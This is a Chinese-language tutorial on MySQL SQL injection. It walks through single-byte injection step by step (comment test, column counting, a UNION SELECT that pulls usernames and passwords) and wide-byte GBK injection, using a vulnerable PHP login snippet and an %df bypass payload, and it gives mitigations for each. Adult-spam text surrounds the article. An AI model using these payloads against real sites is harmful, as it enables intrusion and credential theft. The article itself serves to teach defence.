成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

MySQL中SQL的單字節注入與寬字節注入

安全 數據安全 數據庫運維 MySQL
本文將分別介紹MySQL中SQL的單字節注入與寬字節注入,這些問題是大家在日常工作中會碰到的問題。本文也將給出一些解決方法。

一、單字節SQL注入

MYSQL的SQL注入已經由來已久,以下是普遍采用的注入步驟:

1、在GET參數上加一個/*或者#(mysql專有的注釋),判斷數據庫是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

2、猜解某表的字段數,從order by 1一直更改到頁面出錯為止,就可以得到該表的字段數

注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

對應的SQL:

select * from articles where id=1607 or 1=1 order by 10#….

3、使用該表和用戶表進行關聯查詢,在文章列表里就可以看到用戶名和密碼了。當也要猜解用戶表的表名和用戶名、密碼的字段名,比如上一步得到的字段數是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select  username,password,1,2,3 from user

對應的SQL:

select * from articles where id=1607 or 1=1  union select  username,password,1,2,3 from user

這樣就可以在界面上看到用戶名和密碼了。

解決方法:

過濾數據:這并不是羅唆。在合適的地方使用良好的數據過濾,可以減小多數安全隱患,甚至可以消除其中的一部分。

將數據用括號包含:如果你的數據庫允許(MySQL 允許),在 SQL 語句中,不論什么類型的數據都用單引號包含起來。

轉義數據:一些合法的數據可能在無意中破壞 SQL 語句本身的格式。使用 mysql_escape_string() 或者所使用數據庫提供的轉移函數。如果沒有提供這樣的函數,addslashes() 也是不錯的***選擇。

二、寬字節注入

寬字節注入也是在最近的項目中發現的問題,大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠\,變成了 %df\’,其中\的十六進制是 %5C ,那么現在 %df\’ = %df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MYSQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。比如:

$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);
mysql_query(”SET NAMES ‘GBK’”);
mysql_select_db(”test”,$conn);
$user = mysql_escape_string($_GET['user']);
$pass = mysql_escape_string($_GET['pass']);
$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
 $rows[] = $row;
}
?>

則通過以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

對應的SQL是:

select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

解決方法:就是在初始化連接和字符集之后,使用SET character_set_client=binary來設定客戶端的字符集是二進制的。如:

mysql_query(”SET character_set_client=binary”);

【編輯推薦】

  1. MySQL中Order By實現原理分析
  2. 詳解MySQL分組查詢Group By實現原理
  3. MySQL數據庫接口的VC實現與應用
責任編輯:彭凡 來源: junney
相關推薦

2014-04-08 16:02:28

寬字節注入數據安全MYSQL

2017-10-10 14:38:35

2010-04-13 14:35:17

2023-08-08 14:51:29

2010-12-20 16:04:30

2010-09-14 16:00:16

2017-05-08 14:33:51

2018-02-10 09:44:19

2013-01-11 16:23:29

2017-08-10 10:23:59

2017-05-05 11:31:34

2017-03-01 14:16:20

2024-04-30 14:50:13

2010-09-08 13:10:03

2013-05-02 15:09:22

2020-10-26 07:04:29

SQL注入mysql

2014-05-26 09:32:15

2010-06-30 17:56:06

2010-10-22 15:18:18

SQL注入漏洞

2009-02-04 16:11:45

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 欧美一级毛片久久99精品蜜桃 | 91av视频 | 日本精品久久久一区二区三区 | 国产一区二区三区免费观看在线 | 美女视频三区 | 日韩在线免费视频 | 成人免费观看男女羞羞视频 | 亚洲一区二区三区四区视频 | 蜜月va乱码一区二区三区 | 久久99久久99| 午夜精品一区二区三区在线视 | 亚洲精品久久嫩草网站秘色 | 男人的天堂中文字幕 | 亚洲欧洲精品一区 | 夜夜骚视频 | 拍真实国产伦偷精品 | 精品毛片| 亚洲欧洲在线视频 | 少妇久久久 | 日本午夜网站 | 91麻豆精品国产91久久久久久久久 | 日韩视频在线免费观看 | 国产精品女人久久久 | 精品久久久久久久久久久久久久 | 亚洲一区二区三区高清 | 日韩欧美亚洲综合 | 婷婷激情综合 | 在线观看国产网站 | 亚洲免费在线视频 | 亚洲日本一区二区 | 国产综合久久久久久鬼色 | 成人av一区二区三区 | 欧美 日韩 综合 | 人妖一区 | 亚洲一区二区精品视频 | 国产欧美在线视频 | 午夜久草| 精品二| 中文字幕国产在线 | 亚洲精品视频一区二区三区 | www成人免费 |